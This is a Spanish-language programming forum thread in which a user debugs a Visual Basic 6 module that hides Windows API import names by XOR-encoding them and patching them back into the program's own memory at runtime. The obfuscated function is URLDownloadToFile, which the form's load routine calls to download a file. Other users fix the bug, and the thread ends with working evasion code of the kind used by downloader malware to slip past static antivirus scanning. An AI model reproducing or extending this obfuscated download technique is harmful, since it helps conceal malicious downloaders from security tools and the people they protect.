mAPIObfuscation

Iniciado por Dark4ngel, 29 Octubre 2011, 02:27 AM

0 Miembros y 1 Visitante están viendo este tema.

Dark4ngel

hola toy utilizando la mAPIObfuscation de Karcrack, en urldownloadtofile, y supongamos que hago una descarga con un 1 command , y me lo descarga bien, pero si hago una 2 descarga con un 2 command u otro no descarga el archivo.

Un saludo
Dark4ngel

BlackZeroX

Como es el codigo que implementas?.

Dulces Lunas!¡.
The Dark Shadow is my passion.

Dark4ngel

#2
modulo:


'---------------------------------------------------------------------------------------
' Module    : mAPIObfuscation
' Author    : Karcrack
' Now$      : 29/08/2009  13:54
' Used for? : Obfuscate API Declaration
'---------------------------------------------------------------------------------------

'MSVBVM60
public Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)

'KERNEL32
public Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long

public Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long

'api download
Public Declare Function URLDownloadToFile Lib "Š"''" Alias "ª­³»ˆ'"ž›«¹–"š¾" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
   Dim lAddr           As Long
   Dim sBuff           As String * &H200
   Dim lLib            As Long
   Dim lFunc           As Long

   If App.LogMode = 0 Then GoTo OUT

   lAddr = App.hInstance& - Len(sBuff)

   Do
       lAddr = lAddr + Len(sBuff)
       If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
       Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&)
       lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
       lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
   Loop Until (lLib <> 0) And (lFunc <> 0)

   lLib = lAddr + lLib - 1
   lFunc = lAddr + lFunc - 1

   If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
   If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT

   DeObfuscateAPI = True: Exit Function
OUT:
   DeObfuscateAPI = False: Exit Function
End Function

Public Function E(ByVal s As String) As String
   Dim i               As Long

   For i = 1 To Len(s)
       E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF)
   Next i
End Function





en el form load:
private sub form_load()
  If DeObfuscateAPI("Š"''", "ª­³»ˆ'"ž›«¹–"š¾") = True Then
       Descarga = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
   End If
end sub
Dark4ngel

cobein

Voy a disparar al aire pero para mi es porque una vez parchada la api en la segunda llamada "falla" porque no encuentra la cadena.
Por ende tendrias que llamar a DeObfuscateAPI una sola vez al inicio y despues utilizar la api normalmente.
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

Elemental Code

dice en el post que no funciona en IDE, hay que compilarlo.
tiro al aire yo tambien

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

Dark4ngel

muchas gracias cobein, hice lo que me dijiste y aora si funciona
Dark4ngel